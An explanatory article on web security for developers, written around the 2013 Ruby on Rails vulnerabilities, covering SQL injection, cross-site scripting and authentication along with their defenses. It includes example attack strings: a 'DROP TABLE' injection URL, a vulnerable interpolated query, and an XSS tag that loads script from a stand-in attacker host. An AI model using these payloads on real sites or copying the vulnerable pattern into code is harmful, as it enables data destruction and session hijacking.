How much should you worry about Web security issues? And, what can you do about them?
As I write these words in mid-February 2013, many Ruby on Rails developers are worried. The framework that so many of us have used and enjoyed for so many years, turned out to have some serious security flaws. It's not just the sort of flaw that can allow someone to modify your Web site either;these holes meant that a properly armed attacker could execute arbitrary code on your server. And nowadays, “properly armed” is not a very high threshold because of such tools as Metasploit, which make it laughably easy to launch an attack against an arbitrary computer on the Internet.
Now, these events haven't shaken my faith in the overall security of open-source software in general, or of Ruby on Rails in particular. I've been quite impressed by the way in which the Rails core team members have reacted, making patches available and trying to find as many unexploited vulnerabilities as possible, now that they've found that Ruby's YAML parser can cause problems. But, I'm sure there are plenty of businesses and individuals out there asking themselves whether they've put their organization's servers in danger by using open-source frameworks.
The answer is “no”, from everything I've seen through the years. True, open-source software, by its very nature, is transparent, which means vulnerabilities can be found and exploited more easily than in some proprietary systems. At the same time, you have many more people looking at the code and working to fix and improve it. Moreover, anyone can join the team that's working to find and fix these security problems. From what I can tell, many people who were spooked by recent problems in Rails responded by actively looking for problems and by trying to make it more secure.
So yes, it's scary to receive multiple messages from the Rails security e-mail list, indicating (seemingly on a daily basis) that there is another “zero-day exploit”, a flaw that can be used to break into your system by the time you receive the warning message. But these messages go out for all sorts of systems, not just those in the open-source world. And if there is any lesson to be learned from these warnings, it's that you need to subscribe to the security and/or announcement lists for the frameworks and other important pieces of software that you use.
Thus, I'm not worried about flaws in Rails or in other frameworks that I use. The discussions on security have, however, reminded me that the Internet is a scary and dangerous environment, with many users willing and able to try to break into computers for fun or profit. Protecting your Web application should be a priority in your development work, such that you can ensure the safety of your application, your data and your users' data.
In this article, I review a few of the basic principles of Web application security, and what you can do to avoid risks or at least reduce the risk that your software will suffer from problems. But as security experts like to say, security is a process, not a one-time fix, so you should expect to be checking, watching and improving the security of your programs constantly, always assuming they'll be attacked.
One of the oldest attacks against Web applications continues to cause problems, despite the fact that effective solutions to this problem have existed for more than 15 years.
The issue, illustrated brilliantly in XKCD comic #327, is that we often pass input from users to an SQL query. For example, let's assume that our Web application uses a database table named “users”. Let's further assume that a user can see his or her own information via a URL that looks like this: http://example.com/users/215.
A nontechnical user might well ignore this URL. But many will look at it and understand that the last part, the number 215, is being put into a database query, something like:
SELECT * FROM Users WHERE id = 215;
For now, let's ignore the issue of basic user security, in which someone potentially can access another user's account simply by changing the ID number. Instead, let's consider what happens if a user enters the following URL: http://example.com/users/215;DROP+TABLE+Users;.
If the application simply drops the last part of the URL into SQL, you might end up with a database query that looks like this:
SELECT * FROM Users WHERE id = 215; DROP TABLE Users;
Given that you can execute any number of queries within a single session, and that each query ends with a semicolon, you can imagine that this would be highly destructive. In many cases, of course, the query quotes the parameter, as follows:
SELECT * FROM Users WHERE id = '215';
In which case you would need to pass a malicious URL that looks like this: http://example.com/users/215';DROP+TABLE+Users;.
Now, although such “SQL injection” attacks are easy to understand, they're also easy to prevent—and yet, they continue to be widespread. That's because many Web developers assume their users will be decent and reasonable people, and that it's just easier to grab information from the user and interpolate it into the SQL string:
query = "SELECT * FROM Users WHERE id = #{params[:user_id]}";
Of course, all it takes is one malicious user to guess that this is how you have constructed your query, and your site goes down. (You are backing things up regularly, right?) And an attacker can do much more than just delete tables. It's possible, using SQL injection, to update user permissions, view information belonging to other users or remove conditions from a long and complex query.
The solution to this problem is simple. Nearly every language, library and framework with which I'm familiar has a provision for “escaping” user parameters. That is, instead of directly interpolating the user's parameter into the SQL query, you pass it through a separate function that automatically removes, or escapes, any sensitive information. For example, in Rails, you can say:
User.where(["id = ?", params[:user_id]])
Notice that you aren't putting params[:user_id] directly inside the string, but that you're rather putting a question mark there, and that you're letting ActiveRecord perform the binding. If you were to put a semicolon, quotation mark or other dangerous character within params[:user_id], it wouldn't make a difference, because the parameter-binding system would neutralize that threat.
The bottom line with SQL injection attacks is that they're largely preventable, assuming you use the tools that come with your favorite language and framework. I've personally used such tools with Perl, Python, PHP and Java.
SQL injection is aimed at the server and the database (and application) running on it. By contrast, XSS is an attack aimed at the other users of the site. Like SQL injection, XSS has existed for quite some time and is relatively easy to remove in many frameworks. Unlike SQL injection, however, XSS serves as the basis for many more sophisticated attacks, allowing malicious users to take over users' sessions and potentially execute commands on their behalf.
The idea is this: let's say that your site asks people to register with not only an e-mail address and password, but also their real name. That real name is displayed each time a user posts to a forum on your site.
What happens if someone, instead of entering just their name, enters the following:
Reuven Lerner<script>alert("Hello!");</script>
The server, not being very smart about what it takes in, saves this entire piece of text as the user's name. When the user posts to a forum, everything continues to work correctly. But when someone on the site loads the latest list of forum postings, not only will the malicious user's name be displayed, but an annoying alert box will show up in the browser.
But hey, you can do even better than that. Maybe, instead of executing code directly from within a <script> tag, you can use the tag to load JavaScript from a remote server. For example, what if the nasty user registers with the following name:
Reuven Lerner<script src="http://evil-people.com/gotcha.js"></script>
Now whatever gotcha.js contains will be downloaded and executed by each user on the site. If you're still thinking that this only extends to modifying the user's page, manipulating the DOM or popping alert dialog boxes onto the screen, you haven't yet considered all of the ramifications. Consider that the evil JavaScript code is now executing with the same permissions, cookies and session as the legitimate user. Indeed, there's no way for the server to tell the difference between a legitimate user's code and the evil JavaScript, because they are all on the same page, executing within the same context.
Once this script has been loaded onto the page, the game is largely up. The key thing is to ensure that such scripts never are inserted dynamically onto the page.
A simple solution to this problem is to escape all user content. That is, if a user submits this:
<script>alert();</script>;
you can turn that into:
<script>alert();</script>;
When this is displayed in the user's browser, it'll look like what was submitted, but the tags no longer will be seen as tags—rather, they'll be seen as literal < and > characters, without the ability to execute anything. As of about 2–3 years ago, Rails escapes all HTML by default. If you want to allow dynamically generated content to put HTML tags on the screen, you must use the “raw” method on the text string.
A third type of attack involves breaking through the login system, such that a user can pretend to be another user on the system. The easiest way for this to happen is by guessing passwords. If your Web application allows users to choose weak passwords, and also allows users to try to log in as many times as they like, the result might well be a user whose account is compromised. If this is a regular user without any privileges, that'll just be bad for the specific user. But, if the account belongs to an administrative user, the consequences could be dire and potentially even involve legal liability.
Authentication is the term used to describe the users' need to identify themselves to the computer system. Typically, this involves a user name-password combination, although all sorts of authentication systems exist, ranging from one-time hardware keys to biometric scanners. Authorization, by contrast, refers to checking whether a user, once authenticated, is allowed to perform certain actions.
Here's some simple advice for rolling your own authentication system: don't. Excellent authentication systems exist, some of which come built-in with Web application frameworks and others of which are third-party add-ons. Consider the skill level, motivation and time that attackers have, and you'll probably realize you're unlikely to come up with an authentication system that is truly robust and secure. Even tried-and-true authentication systems, written by experts and deployed on thousands of servers, have been found to have security holes.
An extension of this argument is to outsource authentication entirely, using Facebook, LinkedIn or GitHub (among others) to authenticate your users. This is becoming an increasingly popular option for many Web applications, relieving them of much of the responsibility for authentication. However, this does raise the question of whether you really want to depend on a third-party, commercial company whose interests are almost certainly not the same as yours, for your authentication needs. Then again, users are more likely than not to trust a login system from Facebook than your own home-grown system.
Security, as I wrote above, and as many people have said through the years, is a process, not a one-time solution. Being aware of potential security problems and taking them into account when developing your system takes time, but is an essential part of the well-being of your Web application. The three items I've outlined here—SQL injection, cross-site scripting and authentication—are three of the most popular ways that people attack Web applications. But there are many more, so trying to keep up with these problems, and incorporating them into your regular reading list, is an investment that surely will pay off.